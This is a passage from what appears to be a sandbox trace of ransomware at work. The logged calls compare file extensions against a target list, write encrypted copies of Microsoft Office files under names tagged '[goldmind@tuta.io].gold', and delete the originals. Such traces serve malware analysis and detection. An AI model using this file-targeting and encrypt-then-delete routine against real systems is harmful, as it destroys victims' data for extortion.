lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.225] lstrlenW (lpString=".zip") returned 4 [0104.225] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString=".rar") returned 4 [0104.225] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString=".bz2") returned 4 [0104.225] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString=".7z") returned 3 [0104.225] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.225] lstrlenW (lpString=".dbf") returned 4 [0104.225] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.225] lstrlenW (lpString=".1cd") returned 4 [0104.225] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.225] lstrlenW (lpString=".jpg") returned 4 [0104.225] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.225] lstrlenW (lpString=".doc") returned 4 [0104.225] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString=".docx") returned 5 [0104.225] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0104.225] lstrlenW (lpString=".pdf") returned 4 [0104.225] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString=".xls") returned 4 [0104.225] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString=".xlsx") returned 5 [0104.225] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0104.225] lstrlenW (lpString=".ppt") returned 4 [0104.225] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0104.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.226] lstrlenW (lpString=".zip") returned 4 [0104.226] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0104.226] lstrlenW (lpString=".rar") returned 4 [0104.226] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0104.226] lstrlenW (lpString=".bz2") returned 4 [0104.226] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0104.226] lstrlenW (lpString=".7z") returned 3 [0104.226] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.226] lstrlenW (lpString=".dbf") returned 4 [0104.226] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0104.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.226] lstrlenW (lpString=".1cd") returned 4 [0104.226] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0104.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.226] lstrlenW (lpString=".jpg") returned 4 [0104.226] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0104.226] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0104.226] lstrlenW (lpString="ORGCH.VRD") returned 9 [0104.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0104.267] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1608) returned 1 [0104.267] CloseHandle (hObject=0x39c) returned 1 [0104.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd")) returned 0x20 [0104.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0104.280] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.280] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0104.281] GetLastError () returned 0x0 [0104.281] ReadFile (in: hFile=0x19c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x648, lpOverlapped=0x0) returned 1 [0104.289] WriteFile (in: hFile=0x39c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x650, lpOverlapped=0x0) returned 1 [0104.290] ReadFile (in: hFile=0x19c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.290] WriteFile (in: hFile=0x39c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0104.290] SetEndOfFile (hFile=0x39c) returned 1 [0104.290] CloseHandle (hObject=0x39c) returned 1 [0104.290] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.290] SetEndOfFile (hFile=0x19c) returned 1 [0104.292] CloseHandle (hObject=0x19c) returned 1 [0104.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd")) returned 1 [0104.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.293] lstrlenW (lpString=".doc") returned 4 [0104.293] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0104.293] lstrlenW (lpString=".docx") returned 5 [0104.293] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0104.293] lstrlenW (lpString=".pdf") returned 4 [0104.293] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0104.293] lstrlenW (lpString=".xls") returned 4 [0104.293] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0104.293] lstrlenW (lpString=".xlsx") returned 5 [0104.293] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0104.293] lstrlenW (lpString=".ppt") returned 4 [0104.293] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0104.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.293] lstrlenW (lpString=".zip") returned 4 [0104.293] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0104.293] lstrlenW (lpString=".rar") returned 4 [0104.293] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0104.293] lstrlenW (lpString=".bz2") returned 4 [0104.293] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0104.293] lstrlenW (lpString=".7z") returned 3 [0104.293] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0104.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.293] lstrlenW (lpString=".dbf") returned 4 [0104.293] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0104.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.293] lstrlenW (lpString=".1cd") returned 4 [0104.293] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0104.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.293] lstrlenW (lpString=".jpg") returned 4 [0104.293] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0104.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.294] lstrlenW (lpString=".doc") returned 4 [0104.294] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0104.294] lstrlenW (lpString=".docx") returned 5 [0104.294] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0104.294] lstrlenW (lpString=".pdf") returned 4 [0104.294] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0104.294] lstrlenW (lpString=".xls") returned 4 [0104.294] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0104.294] lstrlenW (lpString=".xlsx") returned 5 [0104.294] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0104.294] lstrlenW (lpString=".ppt") returned 4 [0104.294] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0104.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.294] lstrlenW (lpString=".zip") returned 4 [0104.294] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0104.294] lstrlenW (lpString=".rar") returned 4 [0104.294] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0104.294] lstrlenW (lpString=".bz2") returned 4 [0104.294] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0104.294] lstrlenW (lpString=".7z") returned 3 [0104.294] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0104.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.294] lstrlenW (lpString=".dbf") returned 4 [0104.294] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0104.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.294] lstrlenW (lpString=".1cd") returned 4 [0104.294] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0104.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0104.294] lstrlenW (lpString=".jpg") returned 4 [0104.294] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0104.294] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0104.294] lstrlenW (lpString="ospintl.dll") returned 11 [0104.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0104.295] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=18320) returned 1 [0104.295] CloseHandle (hObject=0x19c) returned 1 [0104.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll")) returned 0x20 [0104.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0104.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.775] lstrlenW (lpString=".doc") returned 4 [0104.775] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0104.775] lstrlenW (lpString=".docx") returned 5 [0104.775] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0104.775] lstrlenW (lpString=".pdf") returned 4 [0104.775] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0104.775] lstrlenW (lpString=".xls") returned 4 [0104.775] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0104.775] lstrlenW (lpString=".xlsx") returned 5 [0104.775] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0104.775] lstrlenW (lpString=".ppt") returned 4 [0104.775] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0104.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.775] lstrlenW (lpString=".zip") returned 4 [0104.775] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0104.775] lstrlenW (lpString=".rar") returned 4 [0104.775] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0104.775] lstrlenW (lpString=".bz2") returned 4 [0104.775] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0104.775] lstrlenW (lpString=".7z") returned 3 [0104.775] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0104.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.775] lstrlenW (lpString=".dbf") returned 4 [0104.775] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0104.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.775] lstrlenW (lpString=".1cd") returned 4 [0104.775] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0104.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.775] lstrlenW (lpString=".jpg") returned 4 [0104.775] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0104.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.775] lstrlenW (lpString=".doc") returned 4 [0104.775] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0104.775] lstrlenW (lpString=".docx") returned 5 [0104.776] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0104.776] lstrlenW (lpString=".pdf") returned 4 [0104.776] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0104.776] lstrlenW (lpString=".xls") returned 4 [0104.776] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0104.776] lstrlenW (lpString=".xlsx") returned 5 [0104.776] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0104.776] lstrlenW (lpString=".ppt") returned 4 [0104.776] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0104.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.776] lstrlenW (lpString=".zip") returned 4 [0104.776] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0104.776] lstrlenW (lpString=".rar") returned 4 [0104.776] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0104.776] lstrlenW (lpString=".bz2") returned 4 [0104.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0104.776] lstrlenW (lpString=".7z") returned 3 [0104.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0104.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.776] lstrlenW (lpString=".dbf") returned 4 [0104.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0104.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.776] lstrlenW (lpString=".1cd") returned 4 [0104.776] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0104.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0104.776] lstrlenW (lpString=".jpg") returned 4 [0104.776] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0104.776] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0104.776] lstrlenW (lpString="OUTLLIBR.DLL.IDX_DLL") returned 20 [0104.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.784] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=119680) returned 1 [0104.784] CloseHandle (hObject=0x3b8) returned 1 [0104.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll")) returned 0x20 [0104.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.785] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.785] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0104.786] GetLastError () returned 0x0 [0104.786] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x1d380, lpOverlapped=0x0) returned 1 [0104.813] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x1d390, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x1d390, lpOverlapped=0x0) returned 1 [0104.815] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.815] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0104.815] SetEndOfFile (hFile=0x3ac) returned 1 [0104.815] CloseHandle (hObject=0x3ac) returned 1 [0104.815] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.815] SetEndOfFile (hFile=0x3b8) returned 1 [0104.818] CloseHandle (hObject=0x3b8) returned 1 [0104.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll")) returned 1 [0104.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.819] lstrlenW (lpString=".doc") returned 4 [0104.819] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0104.819] lstrlenW (lpString=".docx") returned 5 [0104.819] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0104.819] lstrlenW (lpString=".pdf") returned 4 [0104.819] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0104.819] lstrlenW (lpString=".xls") returned 4 [0104.819] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0104.819] lstrlenW (lpString=".xlsx") returned 5 [0104.819] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0104.819] lstrlenW (lpString=".ppt") returned 4 [0104.819] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0104.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.819] lstrlenW (lpString=".zip") returned 4 [0104.819] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0104.819] lstrlenW (lpString=".rar") returned 4 [0104.819] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0104.819] lstrlenW (lpString=".bz2") returned 4 [0104.819] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0104.819] lstrlenW (lpString=".7z") returned 3 [0104.819] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.819] lstrlenW (lpString=".dbf") returned 4 [0104.819] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0104.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.819] lstrlenW (lpString=".1cd") returned 4 [0104.819] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0104.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.819] lstrlenW (lpString=".jpg") returned 4 [0104.819] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0104.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.819] lstrlenW (lpString=".doc") returned 4 [0104.819] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0104.820] lstrlenW (lpString=".docx") returned 5 [0104.820] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0104.820] lstrlenW (lpString=".pdf") returned 4 [0104.820] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0104.820] lstrlenW (lpString=".xls") returned 4 [0104.820] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0104.820] lstrlenW (lpString=".xlsx") returned 5 [0104.820] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0104.820] lstrlenW (lpString=".ppt") returned 4 [0104.820] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0104.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.820] lstrlenW (lpString=".zip") returned 4 [0104.820] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0104.820] lstrlenW (lpString=".rar") returned 4 [0104.820] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0104.820] lstrlenW (lpString=".bz2") returned 4 [0104.820] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0104.820] lstrlenW (lpString=".7z") returned 3 [0104.820] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.820] lstrlenW (lpString=".dbf") returned 4 [0104.820] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0104.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.820] lstrlenW (lpString=".1cd") returned 4 [0104.820] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0104.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0104.820] lstrlenW (lpString=".jpg") returned 4 [0104.820] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0104.820] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0104.820] lstrlenW (lpString="OUTLOOK.DEV_COL.HXT") returned 19 [0104.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft 